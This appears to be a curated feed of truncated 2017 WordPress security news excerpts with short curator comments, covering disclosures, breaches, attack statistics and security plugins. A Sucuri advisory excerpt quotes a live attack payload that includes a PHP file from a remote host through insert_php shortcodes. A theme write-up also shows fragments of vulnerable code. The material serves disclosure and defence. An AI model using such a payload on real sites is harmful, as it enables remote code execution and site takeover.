Did you know that anyone running on a version of PHP below 5.6 no longer has security support?
PHP is one of the most popular scripting languages on the web today. According to W3Techs, PHP is used by over 82% of all the websites who use a server-side programming language. This means for every 8 out of 10 websites you visit, they are most likely utilizing PHP in some form or another. And of course, it plays a very vital role as it pertains to the WordPress ecosystem, as the entire CMS is built on PHP. A dilemma we are facing today is that many businesses, developers, and hosts have fallen behind when it comes to supporting the latest PHP versions. Some of the statistics below might even shock you. Today we want to discuss some of the reasons why it is so important that everyone use the latest PHP versions, not only for security reasons, but also for better performance and support.
Old PHP Versions
As with any piece of software, PHP has a release life cycle in which has has to adhere to in order to keep pushing things forward and making improvements. Each major release of PHP is typically fully supported for two years after its release. During that time, bugs and security issues are fixed and patched on a regular basis.
As of right now, anyone running on a version of PHP below
Quite a few security issues fixed in this one, yikes.
WordPress 4.7.3 is now available. This is a security release for all previous versions and we strongly encourage you to update your sites immediately. WordPress versions 4.7.2 and earlier are affected by six security issues:
Cross-site scripting (XSS) via media file metadata. Reported by Chris Andrè Dale, Yorick Koster, and Simon P. Briggs.
Control characters can trick redirect URL validation. Reported by Daniel Chatfield.
Unintended files can be deleted by administrators using the plugin deletion functionality. Reported by xuliang.
Cross-site scripting (XSS) via video URL in YouTube embeds. Reported by Daniel Cid.
Cross-site scripting (XSS) via taxonomy term names. Reported by Delta.
Cross-site request forgery (CSRF) in Press This leading to excessive use of server resources. Reported by Sipke Mellema.
Thank you to the reporters for practicing responsible disclosure.
In addition to the security issues above, WordPress 4.7.3 contains 39 maintenance fixes to the 4.7 release series. For more information, see the release notes or consult the list of changes.
Download WordPress 4.7.3 or venture over to Dashboard → Updates and simply click “Update Now.” Sites that
TIL: This is something I didn't know (or even think about) until now, and I can see how this might be important.
The Wordfence Team would like to encourage website owners and Internet users to support end-to-end encryption on the Web. Today we are announcing that our official position is the following: Wordfence is a strong supporter of end-to-end encryption for the online community.
We suggest that you avoid services that break end-to-end encryption by intercepting and decrypting traffic.
We encourage website owners to implement HTTPS on their websites in a way that provides end-to-end encryption for their site visitors and customers.
We encourage corporate network owners and CISOs to avoid products that perform HTTPS interception and break end-to-end encryption.
We encourage site owners to avoid Cloud products that perform HTTPS interception and decryption, like Cloud WAFs.
What is end-to-end encryption?
When your web browser connects directly to a website using HTTPS, your connection is end-to-end encrypted. If the website is using a Cloud WAF or similar service that decrypts traffic to inspect it, your connection is not end-to-end encrypted because your traffic is decrypted at the cloud WAF, not at the website you are visiting.
Similarly if you are on an office network and the company is using
While much of this is a rehash of everything we have already seen covered, it does mention a way to search google to see if your site might have been affected. So...worth it for that I guess.
Cloudflare has experienced a data leak over a 5 month period that mixed sensitive data between websites and visitors. A visitor to one website using Cloudflare may have seen data from another website using Cloudflare that was being sent to a completely different site visitor. Some of the leaked data has been indexed by search engines who have been working over the past few days to try and remove the data from their caches.
In this post I am going to explain in simple terms, what occurred and what you need to do about it.
If you are a WordPress user and simply want to know how to secure your site, you can skip to the What Should I Do section below. I have included some information for non-WordPress site owners in that section too.
Cloudflare provides a firewall and content distribution service. Their servers are between your website visitors and your own web server.
Under normal circumstances, cloudflare returns the data each site visitor requested to that visitor. This may be public or sometimes private information and it is usually done over a secure channel. Each website visitor only sees the data they requested.
From September 22nd, 2016 until February 18th 2017 (last Saturday),
Definitely interesting to see the data represented in this way. Way to pull out all the stops to help visualize the information.
Today we are releasing the WordPress attack report for February 2017. You can also find our January 2017 and December 2016 attack reports on the blog. This report contains a new kind of analysis on the top 25 attacking IPs, called topology analysis. We have used this technique to identify groups of IPs acting in concert with each other. It is a fun visual kind of analysis and is a powerful way to analyze graph data. I think you are going to find it provides a clearer picture of the WordPress threat landscape.
The report also contains the data you have come to expect, including top 25 attacking IPs and their details, charts of brute force and complex attacks, top attacked themes and plugins and top attacking countries.
Most Active IPs
I’m including our usual explanation of how the table below works. If you’re familiar with our attack reports, you can skip down to the table below which contains the February data and read my comments that follow the table.
Brief introduction if you’re new to viewing these reports
In the table below we have listed the most active attack IPs for February 2017. Note that the ‘Attacks’ column is in millions and is the total of
Wordfence discusses their surprise about the Clef shut down announcement.
This morning, two-factor authentication plugin Clef, also known as GetClef, announced that they are shutting down. They currently have more than 1 million active WordPress websites using their two-factor authentication plugin. According to the announcement on their blog, their team will be joining another company and they will provide more info in the coming weeks. At this point we don’t have any more detail on who Clef is joining and under what circumstances.
Clef will continue operating for another three months, starting today. Their final shutdown date is June 6th, at which point their apps will be removed from the Google Play and Apple App stores.
Clef have been kind enough to recommend their users transition to Wordfence. They have written a guide to help ease the transition. Wordfence Premium supports traditional SMS based cellphone sign-in along with two factor using Google Authenticator.
Wordfence currently has over 40,000 customers who also use Clef. If you fall into that group, we recommend you disable and remove the Clef plugin and switch to using Wordfence two-factor authentication. You may need to upgrade to Premium to do this if you aren’t already a Wordfence
This is NOT a good enough answer! This is important and should not be pushed under the rug.
Nearly 50K publicly available plugins call the WordPress plugin directory home but once in awhile a few of them seem to disappear. There is usually a good reason for why this happens but the only information available to the public is a page that says the plugin cannot be found. If the plugin is popular enough, concerned users will contact us and ask to investigate what happened. Mika Epstein, Plugin Directory Representative, says there are a number of reasons for why a plugin can end up hidden from view, “The most well-known, but not the most common, is security issues,” Epstein said.
“Plugins are removed and, by default, hidden mostly because we’re on bbPress 1.0 and there is not as granular a control with post statuses when compared to WordPress itself.”
The plugin review team has three options to choose from when altering a plugin’s visibility, active, closed, and disabled. Although rarely used, when a plugin is disabled, it is hidden from view but updates are able to be pushed out.
I asked Epstein why there’s not more detailed information when a plugin is hidden and the answer is complex, “The lack of information is partly technical
What happens when a curious developer scans political sites for low hanging vulnerabilities.
Last year will be characterized by hacking and interference in the American political system. It was a huge wake up call for everybody involved in politics; InfoSec was an important priority. I don't live in America. I live in the tiny Australian Capital Territory, a territory comprising of a Canberra; a city of 300,000 people. Like many places, we have a local government full of politicians. I analyzed the websites of the 25 MLAs (members of the legislative assembly) and their parties sites.
Spolier: too many local politicians have SQL injection vulnerable sites, and don't even care.
I'm not an InfoSec industry professional; just a developer who is interested in this stuff. This is not a blog post about novel vulnerabilities - is is a story about bad higyine.
First, I compiled a list of all the sites. In total, there are 17 MLA sites (not all MLAs have their own site) and 3 party sites. There is even a helpful list maintained by the government.
Then I used used the http headers to do l33t hax0r discovery of the server software they used. It was as follows:
# of Users
Recently discovered: a severe SQL Injection vulnerability allowing an unauthenticated user to grab data from the victim’s website database. If you use NextGen or have a client who does, you might want to read this.
Security Risk: Critical Exploitation Level: Easy/Remote
DREAD Score: 9
Vulnerability: SQL Injection
Patched Version: 2.1.79
As part of a vulnerability research project for our Sucuri Firewall (WAF), we have been auditing multiple open source projects looking for security issues. While working on the WordPress plugin NextGEN Gallery, we discovered a severe SQL Injection vulnerability. This vulnerability allows an unauthenticated user to grab data from the victim’s website database, including sensitive user information.
Are You at Risk?
This vulnerability can be exploited by attackers in at least two different scenarios:
If you use a NextGEN Basic TagCloud gallery on your site, or
If you allow your users to submit posts to be reviewed (contributors). If you fit any of these two cases, you’re definitely at risk.
This issue existed because NextGEN Gallery allowed improperly sanitized user input in a WordPress prepared SQL query, which is basically the same as adding user input inside a raw SQL query. Using this attack vector, an attacker could leak hashed passwords and WordPress secret keys, in certain configurations.
Never trust the input – that is the
WordPress backup and security service had a security breach; hackers installing malware on hacked sites.
Or Contact us via the chat channel on any page of the BlogVault website or on the BlogVault dashboard.
If you have questions about the security issue we’re currently facing, please click on the button above, for some of the common queries our customers have had.
If your question isn’t here, please do get in touch with us. We’re here to help.
I’m Akshat, the founder of BlogVault. Here at BlogVault we have been committed to providing highly secure backups.
Unfortunately, I am reaching out to let you know that some of the data on our systems may have been exposed. We are investigating the issue, and will ensure to keep you updated as and when we have more details.
Meanwhile, we have undertaken a list of precautionary measures and we’re sharing what we already know with our entire customer base.
What We Are Doing to Secure Your Website
Due to the breach, some of our customers’ websites were accessed without authorization. After further investigation we found out that these sites had been injected with malware. We have taken immediate action and we are extensively scanning all those identified sites. We are also conducting granular analyses of our
This covers more details about security vulnerabilities in WordPress 4.7 & 4.7.1 that just got fixed in 4.7.2. Here its comes from Sucuri who contributed in this finding and a solid good responsible disclosure.
Security Risk: Severe Exploitation Level: Easy/Remote
DREAD Score: 9/10
Vulnerability: Privilege Escalation / Content Injection
Patched Version: 4.7.2
As part of a vulnerability research project for our Sucuri Firewall (WAF), we have been auditing multiple open source projects looking for security issues. While working on WordPress, we discovered was a severe content injection (privilege escalation) vulnerability affecting the REST API. This vulnerability allows an unauthenticated user to modify the content of any post or page within a WordPress site.
We disclosed the vulnerability to the WordPress Security Team who handled it extremely well. They worked closely with us to coordinate the disclosure timeline and get as many hosts and security providers aware and patched before this became public.
A fix for this was silently included on version 4.7.2 along with other less severe issues. This was done intentionally to give everyone time to patch. We are now disclosing the details because we feel there has been enough time for most WordPress users to update their sites.
Are You At Risk?
This privilege escalation vulnerability affects the WordPress REST API that was recently added and enabled
I have a feeling we'll end up seeing a lot more REST API vulnerabilities in the future. Just call it a gut feeling.
WordPress 4.7.2 was released last Thursday, January 26th. If you have not already updated, please do so immediately. In addition to the three security vulnerabilities mentioned in the original release post, WordPress 4.7 and 4.7.1 had one additional vulnerability for which disclosure was delayed. There was an Unauthenticated Privilege Escalation Vulnerability in a REST API Endpoint. Previous versions of WordPress, even with the REST API Plugin, were never vulnerable to this.
We believe transparency is in the public’s best interest. It is our stance that security issues should always be disclosed. In this case, we intentionally delayed disclosing this issue by one week to ensure the safety of millions of additional WordPress sites.
On January 20th, Sucuri alerted us to a vulnerability discovered by one of their security researchers, Marc-Alexandre Montpas. The security team began assessing the issue and working on solutions. While a first iteration of a fix was created early on, the team felt that more testing was needed.
Meanwhile, Sucuri added rules to their Web Application Firewall (WAF) to block exploit attempts against their clients. This issue was found internally and no
Yikes, this was a pretty significant bug. Glad it got fixed quickly.
Last Friday, Tavis Ormandy from Google’s Project Zero contacted Cloudflare to report a security problem with our edge servers. He was seeing corrupted web pages being returned by some HTTP requests run through Cloudflare. It turned out that in some unusual circumstances, which I’ll detail below, our edge servers were running past the end of a buffer and returning memory that contained private information such as HTTP cookies, authentication tokens, HTTP POST bodies, and other sensitive data. And some of that data had been cached by search engines.
For the avoidance of doubt, Cloudflare customer SSL private keys were not leaked. Cloudflare has always terminated SSL connections through an isolated instance of NGINX that was not affected by this bug.
We quickly identified the problem and turned off three minor Cloudflare features (email obfuscation, Server-side Excludes and Automatic HTTPS Rewrites) that were all using the same HTML parser chain that was causing the leakage. At that point it was no longer possible for memory to be returned in an HTTP response.
Because of the seriousness of such a bug, a cross-functional team from software engineering, infosec and operations
Update your website now! The REST API flaw is critical, read more here.
Update your website now! Yes, this is the first and last thing I have to tell you, stay updated, above all if you’re using WordPress 4.7 or 4.7.1. Older versions are not affected, even if they are using the old “REST API” plugin.
This post could only be a tweet, but I wanted to give you more informations.
On January 26th, WordPress 4.7.2 was released as a security update, the release notes only mentioned 3 fixes about vulnerabilities but a week later, the security team disclosed another vulnerability, much more critical than the 3 others, and it was also patched in this version 4.7.2.
Why not discloses the 4 flaws in the same time? Aaron Campbell said “We believe transparency is in the public’s best interest […] It is our stance that security issues should always be disclosed. In this case, we intentionally delayed disclosing this issue by one week to ensure the safety of millions of additional WordPress sites.”
And he’s right, I just agree with that, the usual “the sooner the better” is not welcome here.
About The Vulnerability
It’s located in the REST API core. It leads to 2 new vulnerabilities: Remote
Urgent: Massive remote command execution attempts against the latest WordPress REST API vulnerability. Update to WordPress 4.7.2 ASAP!
We are starting to see remote command execution (RCE) attempts trying to exploit the latest WordPress REST API Vulnerability. These RCE attempts started today after a few days of attackers (mostly defacers) rushing to vandalize as many pages as they could. The RCE attempts we are seeing in the wild do not affect every WordPress sites, only the ones using plugins that allow for PHP execution from within posts and pages.
Attacks in the Wild
The attackers in the wild are trying to exploit sites that have plugins like the Insert PHP (100k+ installs), Exec-PHP (100k+ installs) and similar installed plugins. These plugins, allow users to insert PHP code directly into the posts as a way to make customizations easier. Coupled with this vulnerability, it allows the attackers to execute PHP code when injecting their content into the database.
For example, this first campaign we are seeing is trying to inject a PHP include to content of different posts to see if it gets executed. This is the payload:
content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php]
[php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]",
Dre and I talk the history of Sucuri and the future of internet security.
It’s early in the year and something to think about is security! Dre Armeda is here to tell us all about that – the full history of his company, Sucuri, where they’ve been and why they are kicking it up a notch. Super informative and important to anyone doing business on the web! Show Notes
I know it says not to panic, but my tummy took a tumble when reading this one. Hey, I'm not immune to fear. :)
A critical remote code execution vulnerability in PHPMailer has been discovered by Polish researcher Dawid Golunski. The vulnerability was announced on legalhackers.com yesterday but proof of concept exploit details were not included. Unfortunately someone posted a proof of concept to exploit-db and to github a few hours ago demonstrating how the vulnerability can be exploited in the PHPMailer library, but not targeting any web application that is in use.
We are publishing this unscheduled update to give PHP developers and our community advance warning of this issue. We expect this story to continue to evolve rapidly as more developers and malicious actors look at this code.
PHPMailer is used by WordPress core to send email. You can find the code in the wp-includes/class-smtp.php core file.
NOTE: There is no known exploit publicly available for WordPress core or any WordPress theme or plugin at this time. The only exploit we have seen is where a researcher has built their own application and then exploited it, demonstrating the existence of this vulnerability in PHPMailer. (Details below)
Please don’t contact the WordPress core team, WordPress forum moderators
A tale about how a $60 Premium WordPress theme treats straighforward security issues. Unauthenticated LFI/Directory Traversal? We have no problems.
Whew, it’s been a while… I’ve had the misfortune to work with yet another theme from ThemeForest. A $60 premium theme and nothing less! Meet Javo Spot by Javo Themes…
Within half an hour of fiddling with it, trying to filter the output of their Listings Directory (which ended up being a 5-hour pain-in-the-butt task, which is a story for another day), I came across a glaring unauthenticated Local File Inclusion vulnerability (an LFI for short).
The available listings are cached in JSON format into a file in the uploads directory and then fetched via a GET on the listing archive page and rendered nicely. But there’s a cross-domain mode in the theme that uses JSONP, which allows the contents of the listing file to be output via an AJAX call to WordPress.
This is a responsibility borne upon a function called jvfrm_spot_get_json (javo-spot/library/functions/functions-box-map.php).
* Cross Domain Ajax
* @type action
* @function jvfrm_spot_get_json
if ( !function_exists( 'jvfrm_spot_get_json' ) ) :
add_action( 'wp_ajax_jvfrm_spot_get_json', 'jvfrm_spot_get_json' );
add_action( 'wp_ajax_nopriv_jvfrm_spot_get_json', 'jvfrm_spot_get_json'
Anyone else notice more attacks during December? My WordFence installs are off the hook with banning IPs.
At Wordfence we constantly monitor the WordPress attack landscape in real-time. Three weeks ago, on November 24th, we started seeing a rise in brute force attacks. As a reminder, a brute force attack is one that tries to guess your username and password to sign into your WordPress website. In today’s post we show you how attacks have increased during the past 3 weeks and share some data about where attacks are originating from.
First: How to protect yourself from these attacks
Brute force attacks are unsophisticated. They are simple password guessing attacks. A machine will automatically try to sign into your website over and over in the hope that it can guess your password.
If you install the free version of Wordfence, you are automatically protected against brute force attacks. It’s that simple. We also automatically block the worst offenders completely, and we share some information below on who those are.
We have a few other really cool options, like preventing username discovery and immediately locking out invalid usernames. All these techniques help protect you against brute force attacks.
Download and install the free version of Wordfence today to get instant protection
By checking Google Analytics you can notice a lot of fake referral sites. This tutorial shows you how to block the so-called language spam sites.
Nobody likes spam, and it can be a very frustrating for WordPress site owners as it typically involves taking time to setup filters and researching the best way to block it. Many by now are used to dealing with referrer spam, as it something that has plagued us for years. However, in the past couple months there has been a new approach to this, in the form of what everyone is now calling language spam. Most of you probably started noticing this right around the time of the 2016 US elections. Follow our tutorial below on the best ways block language spam and prevent it from skewing your traffic and analytics statistics. It is very important to fix these as soon as they start appearing. 68% of a WordPress site's traffic we tested was from language spam.
Get a free and valid SSL certificate for your WordPress website and encrypt all your passwords, payments and medical information!
Getting A Free SSL Certificate 1. What Is HTTPS?
2. How Does Website Security Work?
3. Why Should I Get an SSL Certificate?
4. Where Do I Get a Free SSL Certificate?
5. What Do I Need to Consider When Getting an SSL Certificate?
6. How Do I Install an SSL Certificate?
7. What Else Do I Need to Do?
1. What Is HTTPS?
“HTTP” or “HTTPS” appears at the beginning of every website URL in a web browser. HTTP stands for Hyper Text Transfer Protocol, and the S in HTTPS stands for Secure. In general, this describes the protocol over which data is sent between your browser and the website you are viewing.
HTTPS ensures that all communication between your browser and the website you are viewing is encrypted. That means it’s secure. Only the receiving and sending computers can see information in the transfer of data (others could potentially access it but would not be able to read it). On secure sites, the web browser shows a padlock icon in the URL area to notify you.
HTTPS should be on any website that collects passwords, payments, medical information or other sensitive data. But what if you could get a free and valid SSL certificate for your domain?
2. How Does Website
Cloudbleed is a bug in Cloudflare’s HTML parser, and private data of users on any website using Cloudflare potentially exposed data to anyone making an HTTP request. The reason that this bug is so bad is that the modern web is designed to aggressively cache HTTP responses to help with speed for online content.
Cloudflare, the popular Content Delivery Network (CDN) trusted by over 5.5 million websites, has warned customers of a recent bug that releases private information to standard search engines. Due to some unusual circumstances, Cloudflare edge servers would run past the end of a buffer and disclose unauthorized data back to users if that data transversed Cloudflare. While cyber security is always in flux, the most recent bug with Cloudflare, being called Cloudbleed, is one of the worst cases of data breached over the past few years. In fact, many security experts are saying that this bug is as bad as it ever gets because companies using Cloudflare can’t prove to their customer that their private data is secure.
Acting as a proxy, Cloudflare is the middle man between an online user and the actual website that is being visited. This extra level of protection helps optimize and secure websites from malicious attacks because the Cloudflare servers contribute to making the HTTP requests and filter out suspicious activity.
However, the centralized use of Cloudflare servers opens companies to security issues if Cloudflare experiences a bug such as Cloudbleed. Before we continue to understand
Well that would have been a major problem. Perhaps more needs to be considered when dealing with this particular point of failure.
At Wordfence, we continually look for security vulnerabilities in the third party plugins and themes that are widely used by the WordPress community. In addition to this research, we regularly examine WordPress core and the related wordpress.org systems. Recently we discovered a major vulnerability that could have caused a mass compromise of the majority of WordPress sites. The vulnerability we describe below may have allowed an attacker to use the WordPress auto-update function, which is turned on by default, to deploy malware to up to 27% of the Web at once.
Choosing the most damaging target to attack
The server api.wordpress.org (or servers) has an important role in the WordPress ecosystem: it releases automatic updates for WordPress websites. Every WordPress installation makes a request to this server about once an hour to check for plugin, theme, or WordPress core updates. The response from this server contains information about any newer versions that may be available, including if the plugin, theme or core needs to be updated automatically. It also includes a URL to download and install the updated software.
Compromising this server could allow an attacker to supply their own
There's hardly any plugin more important than a security plugin. Sucuri and Wordfence are surely two of the major contenders for the best WordPress security plugin, but which one should you choose?
If you're considering the choice between Sucuri vs WordFence, you already know that ensuring the best security for your WordPress website is one of your top priorities. You MUST use a dedicated WordPress security plugin to do that. There are too many WordPress hacking attempts going on. So far so good.
But the problem arises when you want to choose a good WordPress security plugin. There are so many security plugins available with so many features and options that you become very confused about which one to choose.
If that is your situation right now, you have come to the right place. In today’s post, we will compare two of the most popular security plugins for WordPress – Sucuri Security and Wordfence Security.
We will compare how these two plugins work and what features they offer, so that you can decide with all of the information in hand.
By the end of this post, you will know which WP security plugin you should choose for your website. So we're going to pitch two of the most popular security plugins around - Sucuri vs WordFence. Sounds good? Let’s get started with Sucuri.
Let’s get started with Sucuri.
How Sucuri Security Works
When it comes to web security,